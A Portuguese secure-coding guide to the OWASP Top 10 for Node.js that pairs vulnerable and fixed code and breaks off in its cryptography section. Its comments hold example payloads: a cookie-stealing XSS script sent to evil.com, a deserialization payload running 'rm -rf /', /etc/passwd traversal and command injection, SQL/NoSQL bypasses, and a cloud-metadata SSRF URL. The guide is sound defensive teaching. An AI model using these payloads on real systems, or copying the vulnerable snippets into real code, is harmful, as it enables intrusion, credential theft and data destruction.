Segurança (OWASP Top 10)

Segurança — OWASP Top 10 (2021)

O OWASP Top 10 é o padrão de referência da indústria para classificação dos riscos mais críticos em aplicações web. A edição de 2021 reorganizou categorias com base em dados de incidentes reais coletados de centenas de organizações. Cada categoria abaixo inclui vetores de ataque, código vulnerável e a correção correspondente.


A01 — Broken Access Control

Controle de acesso quebrado subiu da 5ª para a 1ª posição em 2021. Ocorre quando um usuário consegue agir fora das permissões pretendidas. Inclui IDOR (Insecure Direct Object Reference), privilege escalation, path traversal e CORS misconfiguration.

IDOR (Insecure Direct Object Reference)

// VULNERÁVEL: qualquer usuário autenticado acessa dados de outro
app.get('/api/users/:id/orders', authenticate, async (req, res) => {
  const orders = await db.query(
    'SELECT * FROM orders WHERE user_id = ?',
    [req.params.id] // Usa o ID da URL, não o do token
  );
  res.json(orders);
});

// SEGURO: valida que o recurso pertence ao usuário autenticado
app.get('/api/users/:id/orders', authenticate, async (req, res) => {
  if (req.user.id !== parseInt(req.params.id) && req.user.role !== 'admin') {
    return res.status(403).json({ error: 'FORBIDDEN' });
  }
  const orders = await db.query(
    'SELECT * FROM orders WHERE user_id = ?',
    [req.user.id] // Usa o ID extraído do token JWT verificado
  );
  res.json(orders);
});

Privilege Escalation

// VULNERÁVEL: role vem do body — atacante envia { role: "admin" }
app.post('/api/users', async (req, res) => {
  const user = await User.create(req.body); // mass assignment
  res.json(user);
});

// SEGURO: whitelist explícita de campos permitidos
app.post('/api/users', async (req, res) => {
  const { name, email, password } = req.body;
  const user = await User.create({
    name,
    email,
    password: await bcrypt.hash(password, 12),
    role: 'user', // Sempre hardcoded — nunca do input
  });
  res.json(user);
});

Path Traversal

// VULNERÁVEL: atacante envia filename=../../etc/passwd
app.get('/api/files/:filename', (req, res) => {
  const filePath = path.join('/uploads', req.params.filename);
  res.sendFile(filePath);
});

// SEGURO: resolve e valida que o path está dentro do diretório permitido
app.get('/api/files/:filename', (req, res) => {
  const baseDir = path.resolve('/uploads');
  const filePath = path.resolve(baseDir, req.params.filename);

  if (!filePath.startsWith(baseDir + path.sep)) {
    return res.status(400).json({ error: 'INVALID_PATH' });
  }
  res.sendFile(filePath);
});

CORS Misconfiguration

// VULNERÁVEL: reflete a origin do request — qualquer site pode chamar a API
app.use(cors({
  origin: (origin, callback) => callback(null, true), // Aceita tudo
  credentials: true,
}));

// SEGURO: allowlist explícita de origens confiáveis
const ALLOWED_ORIGINS = new Set([
  'https://app.meudominio.com',
  'https://admin.meudominio.com',
]);

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Origem não permitida pelo CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  maxAge: 86400,
}));

A02 — Cryptographic Failures

Anteriormente chamada de “Sensitive Data Exposure”, esta categoria foca nas falhas relacionadas à criptografia que levam à exposição de dados sensíveis.

Algoritmos Fracos e Hardcoded Secrets

// VULNERÁVEL: MD5 para hashing de senhas (colisões triviais, sem salt)
const crypto = require('crypto');
const hash = crypto.createHash('md5').update(password).digest('hex');

// VULNERÁVEL: secret hardcoded no código-fonte
const JWT_SECRET = 'minha-senha-super-secreta-123';

// SEGURO: bcrypt com cost factor adequado + secrets de variáveis de ambiente
const bcrypt = require('bcrypt');
const SALT_ROUNDS = 12; // ~250ms por hash — bom tradeoff segurança/performance

const hash = await bcrypt.hash(password, SALT_ROUNDS);
const isValid = await bcrypt.compare(inputPassword, storedHash);

// Secret do ambiente (injetado via Vault, AWS Secrets Manager, etc.)
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET || JWT_SECRET.length < 32) {
  throw new Error('JWT_SECRET inválido ou ausente');
}

Insecure Randomness

// VULNERÁVEL: Math.random() é previsível (PRNG, não CSPRNG)
const resetToken = Math.random().toString(36).substring(2);

// SEGURO: crypto.randomBytes é criptograficamente seguro (CSPRNG)
const crypto = require('crypto');
const resetToken = crypto.randomBytes(32).toString('hex');
// Armazene o hash do token no banco, não o token em texto plano
const tokenHash = crypto
  .createHash('sha256')
  .update(resetToken)
  .digest('hex');

TLS e Certificados

// VULNERÁVEL: desabilita verificação de certificado em produção
const axios = require('axios');
const https = require('https');
const agent = new https.Agent({ rejectUnauthorized: false });
await axios.get('https://api.exemplo.com', { httpsAgent: agent });

// SEGURO: sempre valide certificados; use CA bundle se necessário
const agent = new https.Agent({
  rejectUnauthorized: true, // default — nunca desabilite
  ca: fs.readFileSync('/path/to/ca-bundle.crt'), // CA customizada se preciso
  minVersion: 'TLSv1.2', // Rejeita TLS 1.0 e 1.1
});

A03 — Injection

Injection cobre SQL, NoSQL, OS command e LDAP injection. O princípio fundamental: nunca confie em input externo. Sempre use mecanismos de parametrização nativos.

SQL Injection com Prepared Statements

// VULNERÁVEL: concatenação direta — clássico SQLi
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
// Input: email = "admin'--"  →  bypassa a verificação de senha

// SEGURO: prepared statements (o driver escapa automaticamente)
// MySQL2
const [rows] = await pool.execute(
  'SELECT * FROM users WHERE email = ? AND password_hash = ?',
  [email, passwordHash]
);

// PostgreSQL (node-postgres)
const { rows } = await pool.query(
  'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
  [email, passwordHash]
);

// ORM (Prisma) — query parametrizada por padrão
const user = await prisma.user.findUnique({
  where: { email }, // Prisma escapa internamente
});

NoSQL Injection

// VULNERÁVEL: MongoDB aceita objetos — atacante envia { "$gt": "" }
app.post('/api/login', async (req, res) => {
  const user = await User.findOne({
    email: req.body.email,
    password: req.body.password, // Se password = { "$ne": "" } → bypassa
  });
});

// SEGURO: sanitize + validação de tipo explícita
const mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize()); // Remove $ e . de req.body/query/params

app.post('/api/login', async (req, res) => {
  const { email, password } = req.body;
  if (typeof email !== 'string' || typeof password !== 'string') {
    return res.status(400).json({ error: 'INVALID_INPUT' });
  }
  const user = await User.findOne({ email });
  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: 'INVALID_CREDENTIALS' });
  }
});

OS Command Injection

// VULNERÁVEL: exec() com input do usuário
const { exec } = require('child_process');
app.get('/api/ping', (req, res) => {
  exec(`ping -c 4 ${req.query.host}`, (err, stdout) => {
    res.send(stdout);
  });
  // Input: host = "8.8.8.8; cat /etc/passwd" → executa o segundo comando
});

// SEGURO: use execFile (não invoca shell) + validação de input
const { execFile } = require('child_process');
const net = require('net');

app.get('/api/ping', (req, res) => {
  const { host } = req.query;
  if (!net.isIP(host)) {
    return res.status(400).json({ error: 'IP inválido' });
  }
  // execFile não passa por shell — argumentos são array
  execFile('ping', ['-c', '4', host], (err, stdout) => {
    res.send(stdout);
  });
});

LDAP Injection

// VULNERÁVEL: concatenação direta na query LDAP
const filter = `(&(uid=${username})(userPassword=${password}))`;

// SEGURO: escape de caracteres especiais do LDAP
function ldapEscape(input) {
  return input.replace(/[\\*()\\x00/]/g, (char) => {
    return '\\' + char.charCodeAt(0).toString(16).padStart(2, '0');
  });
}
const filter = `(&(uid=${ldapEscape(username)})(userPassword=${ldapEscape(password)}))`;

A04 — Insecure Design

Diferente de implementação insegura, design inseguro significa que a arquitetura em si não contempla controles de segurança. Nenhuma quantidade de código perfeito corrige um design fundamentalmente falho.

Threat Modeling

Antes de escrever código, identifique os ativos, ameaças e controles necessários. O modelo STRIDE categoriza ameaças:

CategoriaDescriçãoControle
SpoofingFalsificar identidadeAutenticação forte (MFA)
TamperingModificar dados em trânsito/repousoIntegridade (HMAC, checksums)
RepudiationNegar ter realizado açãoLogs auditáveis e imutáveis
Information DisclosureExposição de dados sensíveisCriptografia, controle de acesso
Denial of ServiceIndisponibilizar o serviçoRate limiting, auto-scaling
Elevation of PrivilegeEscalar permissõesPrincípio do menor privilégio

Secure by Default e Princípio do Menor Privilégio

// Middleware que nega acesso por padrão — whitelist de rotas públicas
const PUBLIC_ROUTES = new Set(['/api/health', '/api/auth/login', '/api/auth/register']);

function requireAuth(req, res, next) {
  if (PUBLIC_ROUTES.has(req.path)) return next();

  const token = req.headers.authorization?.replace('Bearer ', '');
  if (!token) return res.status(401).json({ error: 'UNAUTHENTICATED' });

  try {
    req.user = jwt.verify(token, process.env.JWT_SECRET);
    next();
  } catch {
    res.status(401).json({ error: 'TOKEN_INVALID' });
  }
}

// RBAC granular — cada rota declara a permissão necessária
function requirePermission(...permissions) {
  return (req, res, next) => {
    const userPerms = new Set(req.user.permissions);
    const hasAll = permissions.every((p) => userPerms.has(p));
    if (!hasAll) return res.status(403).json({ error: 'FORBIDDEN' });
    next();
  };
}

app.delete(
  '/api/users/:id',
  requireAuth,
  requirePermission('users:delete'),
  deleteUserHandler
);

A05 — Security Misconfiguration

Configuração incorreta é uma das vulnerabilidades mais comuns. Inclui credenciais padrão, stack traces expostas, features desnecessárias habilitadas e headers ausentes.

// VULNERÁVEL: stack trace em produção expõe detalhes internos
app.use((err, req, res, next) => {
  res.status(500).json({
    message: err.message,
    stack: err.stack, // Revela paths, versões, lógica interna
  });
});

// SEGURO: error handler diferenciado por ambiente
app.use((err, req, res, next) => {
  const requestId = crypto.randomUUID();

  // Log completo internamente (vai pro SIEM)
  logger.error({
    requestId,
    message: err.message,
    stack: err.stack,
    method: req.method,
    path: req.path,
    userId: req.user?.id,
  });

  // Resposta sanitizada para o cliente
  const isDev = process.env.NODE_ENV === 'development';
  res.status(err.statusCode || 500).json({
    error: err.isOperational ? err.message : 'INTERNAL_SERVER_ERROR',
    requestId, // Para correlação com suporte
    ...(isDev && { stack: err.stack }), // Stack só em dev
  });
});
// VULNERÁVEL: Helmet não configurado — headers de segurança ausentes
// Sem X-Content-Type-Options, sem X-Frame-Options, sem HSTS

// SEGURO: Helmet com configuração explícita
const helmet = require('helmet');

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", 'data:', 'https:'],
      connectSrc: ["'self'"],
      fontSrc: ["'self'"],
      objectSrc: ["'none'"],
      frameAncestors: ["'none'"],
      upgradeInsecureRequests: [],
    },
  },
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: { policy: 'same-origin' },
  crossOriginResourcePolicy: { policy: 'same-origin' },
  hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));

// Desabilite headers que expõem informação desnecessária
app.disable('x-powered-by'); // Remove "Express" do header

A06 — Vulnerable and Outdated Components

Componentes com vulnerabilidades conhecidas são um vetor de ataque extremamente comum. A Software Composition Analysis (SCA) automatiza a detecção.

# Auditoria local de dependências
npm audit
npm audit --audit-level=high  # Falha apenas para severidade alta+

# Ferramentas de SCA em CI/CD
# package.json — script de CI
# "scripts": {
#   "security:audit": "npm audit --audit-level=high",
#   "security:snyk": "snyk test --severity-threshold=high"
# }
# GitHub Actions — Dependabot para atualizações automáticas
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    open-pull-requests-limit: 10
    reviewers:
      - "security-team"
    labels:
      - "dependencies"
      - "security"
// Em runtime: valide versões críticas no startup
const semver = require('semver');
const nodeVersion = process.version;

if (!semver.satisfies(nodeVersion, '>=18.0.0')) {
  console.error(`Node.js ${nodeVersion} não é suportado. Mínimo: 18.x`);
  process.exit(1);
}

A07 — Identification and Authentication Failures

Inclui credential stuffing, brute force, session fixation e gerenciamento inadequado de sessões.

// Rate limiting avançado — por IP e por conta (dual layer)
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const Redis = require('ioredis');

const redis = new Redis(process.env.REDIS_URL);

// Camada 1: limite global por IP
const ipLimiter = rateLimit({
  store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
  windowMs: 15 * 60 * 1000,
  max: 100, // 100 requests por IP a cada 15 minutos
  standardHeaders: true,
  legacyHeaders: false,
  keyGenerator: (req) => req.ip,
});

// Camada 2: limite por conta (impede credential stuffing distribuído)
const accountLimiter = rateLimit({
  store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
  windowMs: 60 * 60 * 1000, // 1 hora
  max: 5, // 5 tentativas por conta por hora
  keyGenerator: (req) => `account:${req.body.email}`,
  handler: (req, res) => {
    // Após 5 falhas: exija CAPTCHA ou bloqueie temporariamente
    res.status(429).json({
      error: 'ACCOUNT_LOCKED',
      message: 'Muitas tentativas. Tente novamente em 1 hora ou redefina sua senha.',
      retryAfter: 3600,
    });
  },
});

app.post('/login', ipLimiter, accountLimiter, loginHandler);
// Session fixation — regenere o session ID após login
app.post('/login', async (req, res) => {
  const user = await authenticateUser(req.body.email, req.body.password);
  if (!user) return res.status(401).json({ error: 'INVALID_CREDENTIALS' });

  // CRÍTICO: regenera o session ID para prevenir session fixation
  req.session.regenerate((err) => {
    if (err) return res.status(500).json({ error: 'SESSION_ERROR' });
    req.session.userId = user.id;
    req.session.createdAt = Date.now();
    req.session.save(() => {
      res.json({ message: 'Login bem-sucedido' });
    });
  });
});

A08 — Software and Data Integrity Failures

Categoria que cobre ataques de deserialização, integridade de pipelines CI/CD e atualizações não assinadas.

// VULNERÁVEL: desserialização de dados não confiáveis
const serialize = require('node-serialize');
app.post('/api/session', (req, res) => {
  const session = serialize.unserialize(req.cookies.session);
  // Atacante pode injetar IIFE: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('rm -rf /')}()"}
});

// SEGURO: nunca desserialize input não confiável; use JSON + validação com schema
const Ajv = require('ajv');
const ajv = new Ajv({ allErrors: true });

const sessionSchema = {
  type: 'object',
  properties: {
    userId: { type: 'integer', minimum: 1 },
    role: { type: 'string', enum: ['user', 'admin'] },
    expiresAt: { type: 'integer' },
  },
  required: ['userId', 'role', 'expiresAt'],
  additionalProperties: false, // Rejeita campos inesperados
};

const validate = ajv.compile(sessionSchema);

app.post('/api/session', (req, res) => {
  let data;
  try {
    data = JSON.parse(req.body.session); // JSON.parse é seguro (sem execução de código)
  } catch {
    return res.status(400).json({ error: 'INVALID_JSON' });
  }

  if (!validate(data)) {
    return res.status(400).json({ error: 'VALIDATION_FAILED', details: validate.errors });
  }
});
# Integridade de CI/CD — assine artefatos e verifique checksums
# GitHub Actions com Sigstore/cosign para container images
# jobs:
#   build-and-sign:
#     steps:
#       - name: Build image
#         run: docker build -t myapp:${{ github.sha }} .
#       - name: Sign image with cosign
#         run: cosign sign --yes myapp:${{ github.sha }}
#       - name: Verify signature
#         run: cosign verify myapp:${{ github.sha }}

A09 — Security Logging and Monitoring Failures

Sem logging adequado, ataques podem persistir por meses sem detecção. O tempo médio de detecção (MTTD) sem monitoração é de 197 dias (dados IBM).

// Logger estruturado para SIEM — o que logar e o que NUNCA logar
const pino = require('pino');

const logger = pino({
  level: process.env.LOG_LEVEL || 'info',
  redact: {
    // NUNCA logue dados sensíveis (PII, secrets, tokens)
    paths: [
      'req.headers.authorization',
      'req.headers.cookie',
      'req.body.password',
      'req.body.creditCard',
      'req.body.ssn',
      '*.token',
      '*.secret',
    ],
    censor: '[REDACTED]',
  },
  serializers: {
    req: pino.stdSerializers.req,
    err: pino.stdSerializers.err,
  },
});

// Middleware de auditoria para eventos de segurança
function auditLog(event, details) {
  logger.info({
    type: 'SECURITY_AUDIT',
    event,
    timestamp: new Date().toISOString(),
    ...details,
  });
}

// Exemplos de eventos que DEVEM ser logados:
// - Falhas de autenticação (com IP, user agent — sem a senha)
// - Mudanças de permissão ou role
// - Acesso a dados sensíveis
// - Alterações em configurações
// - Rate limit atingido

app.post('/login', async (req, res) => {
  const user = await authenticateUser(req.body.email, req.body.password);

  if (!user) {
    auditLog('AUTH_FAILURE', {
      email: req.body.email,
      ip: req.ip,
      userAgent: req.headers['user-agent'],
      reason: 'INVALID_CREDENTIALS',
    });
    return res.status(401).json({ error: 'INVALID_CREDENTIALS' });
  }

  auditLog('AUTH_SUCCESS', {
    userId: user.id,
    ip: req.ip,
  });
});
// Alerting: detecte padrões anômalos
// Exemplo: muitas falhas de login para o mesmo email em curto período
async function checkBruteForce(email, ip) {
  const key = `login_failures:${email}`;
  const failures = await redis.incr(key);
  await redis.expire(key, 900); // 15 minutos

  if (failures >= 10) {
    auditLog('BRUTE_FORCE_DETECTED', { email, ip, failures });
    // Notifique o time de segurança via webhook/PagerDuty
    await notifySecurityTeam({
      severity: 'HIGH',
      message: `Possível brute force detectado: ${failures} falhas para ${email}`,
    });
  }
}

A10 — Server-Side Request Forgery (SSRF)

SSRF ocorre quando um atacante consegue fazer o servidor enviar requests para destinos arbitrários — incluindo serviços internos, metadata de cloud (169.254.169.254) e rede interna.

// VULNERÁVEL: o servidor faz fetch para URL fornecida pelo usuário
app.post('/api/fetch-url', async (req, res) => {
  const response = await fetch(req.body.url); // SSRF!
  // Atacante envia: url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
  // → Obtém credenciais AWS do EC2 instance role
  const data = await response.text();
  res.json({ data });
});

// SEGURO: allowlist de domínios + bloqueio de IPs internos
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');

const ALLOWED_DOMAINS = new Set(['api.exemplo.com', 'cdn.exemplo.com']);

async function validateUrl(urlString) {
  let parsed;
  try {
    parsed = new URL(urlString);
  } catch {
    throw new Error('URL inválida');
  }

  // Apenas HTTPS
  if (parsed.protocol !== 'https:') {
    throw new Error('Apenas HTTPS é permitido');
  }

  // Allowlist de domínios
  if (!ALLOWED_DOMAINS.has(parsed.hostname)) {
    throw new Error('Domínio não permitido');
  }

  // Resolva DNS e verifique se o IP não é interno
  const addresses = await dns.resolve4(parsed.hostname);
  for (const addr of addresses) {
    const ip = ipaddr.parse(addr);
    const range = ip.range();
    // Bloqueia: private, loopback, link-local, metadata endpoints
    if (['private', 'loopback', 'linkLocal', 'uniqueLocal'].includes(range)) {
      throw new Error('Endereço IP interno não permitido');
    }
  }

  return parsed.toString();
}

app.post('/api/fetch-url', async (req, res) => {
  try {
    const safeUrl = await validateUrl(req.body.url);
    const response = await fetch(safeUrl, {
      redirect: 'error', // Não siga redirects (evita bypass via redirect para IP interno)
      signal: AbortSignal.timeout(5000),
    });
    const data = await response.text();
    res.json({ data: data.substring(0, 10000) }); // Limite de tamanho
  } catch (err) {
    res.status(400).json({ error: err.message });
  }
});

XSS Detalhado — Stored, Reflected e DOM-based

Cross-Site Scripting permite que atacantes executem JavaScript no browser de outros usuários. É um dos vetores mais explorados da web.

Stored XSS

// VULNERÁVEL: comentário salvo no banco é renderizado sem escape
app.post('/api/comments', async (req, res) => {
  await db.query('INSERT INTO comments (body) VALUES (?)', [req.body.body]);
});
// Se body = "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"
// Todo usuário que carrega a página executa o script

// SEGURO: sanitize no input + escape no output
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);

app.post('/api/comments', async (req, res) => {
  const sanitized = DOMPurify.sanitize(req.body.body, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href'],
  });
  await db.query('INSERT INTO comments (body) VALUES (?)', [sanitized]);
});

Reflected XSS

// VULNERÁVEL: query param refletida na resposta sem escape
app.get('/search', (req, res) => {
  res.send(`<h1>Resultados para: ${req.query.q}</h1>`);
  // URL: /search?q=<script>alert(1)</script>
});

// SEGURO: use um template engine que escapa por padrão (EJS, Handlebars)
// No EJS: <%= query %> escapa HTML automaticamente
// Nunca use <%- query %> (raw) com dados de input

CSP (Content Security Policy) como Defesa

// Content-Security-Policy é a defesa mais eficaz contra XSS
// Impede execução de scripts não autorizados mesmo se injetados
app.use((req, res, next) => {
  // Gera nonce único por request para scripts inline permitidos
  const nonce = crypto.randomBytes(16).toString('base64');
  res.locals.cspNonce = nonce;

  res.setHeader('Content-Security-Policy', [
    `default-src 'self'`,
    `script-src 'self' 'nonce-${nonce}'`, // Apenas scripts com nonce válido
    `style-src 'self' 'unsafe-inline'`,   // Inline styles (avaliar necessidade)
    `img-src 'self' data: https:`,
    `connect-src 'self' https://api.meudominio.com`,
    `font-src 'self'`,
    `object-src 'none'`,                  // Bloqueia Flash, Java applets
    `frame-ancestors 'none'`,             // Previne clickjacking
    `base-uri 'self'`,                    // Previne base tag injection
    `form-action 'self'`,                 // Formulários só para mesma origem
    `upgrade-insecure-requests`,
  ].join('; '));

  next();
});

// No HTML: <script nonce="<%= cspNonce %>">...</script>

CSRF — Cross-Site Request Forgery

CSRF força o browser do usuário autenticado a enviar requests indesejados. O atacante não precisa ler a resposta — basta que a ação seja executada.

// Proteção CSRF com tokens + SameSite cookies
const csrf = require('csurf');
const cookieParser = require('cookie-parser');

app.use(cookieParser());

// CSRF token via cookie (double-submit pattern)
const csrfProtection = csrf({
  cookie: {
    httpOnly: true,
    secure: true,        // Apenas HTTPS
    sameSite: 'strict',  // Nunca enviado em requests cross-origin
    maxAge: 3600,
  },
});

app.get('/api/csrf-token', csrfProtection, (req, res) => {
  res.json({ token: req.csrfToken() });
});

app.post('/api/transfer', csrfProtection, async (req, res) => {
  // O middleware valida automaticamente o token CSRF
  await processTransfer(req.body);
  res.json({ success: true });
});

// Configuração de cookies de sessão com SameSite
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,     // JavaScript não acessa o cookie
    secure: true,       // Apenas via HTTPS
    sameSite: 'lax',    // Protege contra CSRF (GET de navegação permitido)
    maxAge: 24 * 60 * 60 * 1000, // 24 horas
    domain: '.meudominio.com',
    path: '/',
  },
  resave: false,
  saveUninitialized: false,
}));

Security Headers Completos

Headers HTTP de segurança formam uma camada essencial de defesa. Cada header mitiga uma classe específica de ataque.

// Configuração completa de security headers
function securityHeaders(req, res, next) {
  // HSTS: força HTTPS por 2 anos + includeSubDomains + preload list
  res.setHeader('Strict-Transport-Security', 'max-age=63072000; includeSubDomains; preload');

  // Impede MIME-type sniffing (previne que browser interprete .txt como .html)
  res.setHeader('X-Content-Type-Options', 'nosniff');

  // Previne clickjacking (iframe embedding)
  res.setHeader('X-Frame-Options', 'DENY');

  // Controla quanta informação de referrer é enviada
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');

  // Controla APIs do browser que o site pode usar
  res.setHeader('Permissions-Policy',
    'camera=(), microphone=(), geolocation=(), payment=(self)'
  );

  // Cross-Origin headers para isolamento de processo
  res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
  res.setHeader('Cross-Origin-Embedder-Policy', 'require-corp');
  res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');

  // Remove header que expõe tecnologia do servidor
  res.removeHeader('X-Powered-By');

  next();
}

app.use(securityHeaders);

Secure Coding Practices

Princípios transversais que se aplicam a toda a aplicação.

Input Validation com Zod

const { z } = require('zod');

// Schema rigoroso — rejeita tudo que não é explicitamente permitido
const createUserSchema = z.object({
  name: z.string().min(2).max(100).trim(),
  email: z.string().email().toLowerCase(),
  password: z
    .string()
    .min(12, 'Senha deve ter no mínimo 12 caracteres')
    .regex(/[A-Z]/, 'Deve conter letra maiúscula')
    .regex(/[a-z]/, 'Deve conter letra minúscula')
    .regex(/[0-9]/, 'Deve conter número')
    .regex(/[^A-Za-z0-9]/, 'Deve conter caractere especial'),
  age: z.number().int().min(18).max(150).optional(),
});

// Middleware de validação genérico
function validate(schema) {
  return (req, res, next) => {
    const result = schema.safeParse(req.body);
    if (!result.success) {
      return res.status(400).json({
        error: 'VALIDATION_ERROR',
        details: result.error.issues.map((i) => ({
          field: i.path.join('.'),
          message: i.message,
        })),
      });
    }
    req.validatedBody = result.data; // Usa dados validados, não req.body
    next();
  };
}

app.post('/api/users', validate(createUserSchema), createUserHandler);

Output Encoding

// Encode output de acordo com o contexto onde será inserido
const he = require('he'); // HTML entities

// Contexto HTML → HTML encode
const safeHtml = he.encode(userInput);

// Contexto URL → URL encode
const safeUrl = encodeURIComponent(userInput);

// Contexto JSON em <script> → serialize sem </script>
function jsonEscape(obj) {
  return JSON.stringify(obj)
    .replace(/</g, '\\u003c')
    .replace(/>/g, '\\u003e')
    .replace(/&/g, '\\u0026');
}

Secrets Management

// NUNCA commite secrets no código-fonte. Use um vault ou variáveis de ambiente.

// Validação de variáveis de ambiente no startup (fail fast)
const requiredEnvVars = [
  'DATABASE_URL',
  'JWT_SECRET',
  'REDIS_URL',
  'AWS_ACCESS_KEY_ID',
  'AWS_SECRET_ACCESS_KEY',
];

for (const envVar of requiredEnvVars) {
  if (!process.env[envVar]) {
    console.error(`Variável de ambiente obrigatória ausente: ${envVar}`);
    process.exit(1);
  }
}

// Em produção, use Vault, AWS Secrets Manager ou similar
// Exemplo com AWS Secrets Manager
const { SecretsManager } = require('@aws-sdk/client-secrets-manager');
const client = new SecretsManager({ region: 'us-east-1' });

async function getSecret(secretName) {
  const response = await client.getSecretValue({ SecretId: secretName });
  return JSON.parse(response.SecretString);
}

// Rotação de secrets: configure rotação automática no Secrets Manager
// e recarregue periodicamente no runtime
let cachedSecrets = null;
let lastFetch = 0;

async function getSecrets() {
  const now = Date.now();
  if (!cachedSecrets || now - lastFetch > 300_000) { // Recarrega a cada 5 min
    cachedSecrets = await getSecret('myapp/production');
    lastFetch = now;
  }
  return cachedSecrets;
}

Checklist de Segurança para Revisão de Código

Referência rápida para code reviews focados em segurança:

ÁreaVerificação
InputTodo input externo é validado com schema (Zod, Joi, Ajv)?
QueriesTodas as queries usam parameterized statements?
AutenticaçãoSenhas hasheadas com bcrypt/argon2 e cost factor adequado?
AutorizaçãoCada endpoint verifica permissões? Deny-by-default?
SessõesSession ID regenerado após login? Cookies com httpOnly/secure/sameSite?
CriptografiaTLS 1.2+ obrigatório? Algoritmos fortes (AES-256, SHA-256+)?
SecretsNenhum secret hardcoded? Todos via environment/vault?
Dependênciasnpm audit sem vulnerabilidades high/critical? Dependabot habilitado?
HeadersHSTS, CSP, X-Content-Type-Options, X-Frame-Options configurados?
LoggingEventos de segurança logados? PII e secrets redactados?
Rate LimitingEndpoints sensíveis (login, reset, signup) com rate limit?
Error HandlingStack traces nunca expostas em produção?

Criptografia Aplicada

Entender criptografia é essencial para um senior engineer — não para implementar algoritmos (use libraries!), mas para tomar decisões corretas sobre quais primitivas usar.

Criptografia Simétrica vs Assimétrica

Simétrica (mesma chave para encrypt e decrypt):
  Alice ──[key]──encrypt──→ ciphertext ──[key]──decrypt──→ Bob
  Rápida (~GB/s). Problema: como compartilhar a chave?

Assimétrica (par de chaves: pública + privada):
  Bob gera: (public_key, private_key)
  Alice ──[Bob's public_key]──encrypt──→ ciphertext ──[Bob's private_key]──decrypt──→ Bob
  Lenta (~MB/s). Resolve o key exchange. Usada para TLS handshake e assinaturas digitais.
TipoAlgoritmosVelocidadeUse case
SimétricaAES-256-GCM, ChaCha20-Poly1305~1-10 GB/sCriptografia de dados em repouso e trânsito
AssimétricaRSA-2048+, Ed25519, ECDSA (P-256)~1-100 MB/sKey exchange, assinaturas digitais, TLS

Hashing

Hash functions são one-way: dado o output, é inviável encontrar o input.

Uso correto de hashes:

Para senhas:       bcrypt, argon2id, scrypt (LENTAS de propósito!)
Para integridade:  SHA-256, SHA-3 (RÁPIDAS)
Para HMAC:         HMAC-SHA256 (autenticação de mensagens)
NUNCA para senhas: MD5, SHA-1, SHA-256 sem salt (rainbow tables!)
import { hash, verify } from 'argon2';

// Hashing de senha com Argon2id (recomendado OWASP)
const hashedPassword = await hash(password, {
  type: 2,           // argon2id (resistente a side-channel + GPU attacks)
  memoryCost: 65536,  // 64MB RAM (torna GPU attacks caros)
  timeCost: 3,        // 3 iterações
  parallelism: 4,     // 4 threads
});

// Verificação
const isValid = await verify(hashedPassword, attemptedPassword);

Key Derivation Functions (KDF)

Derivam chaves criptográficas a partir de senhas ou material de baixa entropia:

  • PBKDF2: padrão NIST, simples, mas vulnerável a GPU attacks
  • bcrypt: resistente a GPU (usa RAM), padrão de facto para senhas
  • argon2id: state-of-the-art, resistente a GPU e side-channel attacks (recomendado)
  • HKDF: deriva múltiplas chaves a partir de uma master key (não para senhas)

TLS Handshake em Detalhe

TLS 1.3 Handshake (1-RTT):

Client                                  Server
  │                                       │
  │─── ClientHello ──────────────────────→│
  │    • supported cipher suites          │
  │    • supported groups (curves)        │
  │    • key_share (ECDHE public key)     │
  │    • supported_versions: TLS 1.3     │
  │                                       │
  │←── ServerHello ──────────────────────│
  │    • selected cipher suite            │
  │    • key_share (server ECDHE key)     │
  │←── EncryptedExtensions ──────────────│
  │←── Certificate ──────────────────────│
  │←── CertificateVerify ────────────────│  (assinatura digital)
  │←── Finished ─────────────────────────│  (MAC do handshake)
  │                                       │
  │─── Finished ──────────────────────→  │  (MAC do handshake)
  │                                       │
  │←════ Application Data (encrypted) ══→│
  │    AES-256-GCM ou ChaCha20-Poly1305  │

Processo simplificado:

  1. Key Exchange: ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) gera shared secret
  2. Authentication: servidor prova identidade com certificado + assinatura digital
  3. Key Derivation: HKDF deriva chaves de sessão a partir do shared secret
  4. Symmetric Encryption: dados trafegam criptografados com AES-256-GCM

Forward Secrecy: como ECDHE gera chaves efêmeras por sessão, comprometer a private key do servidor NÃO permite descriptografar sessões passadas. Cada sessão tem suas próprias chaves.

Criptografia em Repouso

import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';

// AES-256-GCM: criptografia autenticada (confidencialidade + integridade)
function encrypt(plaintext: string, key: Buffer): { ciphertext: string; iv: string; tag: string } {
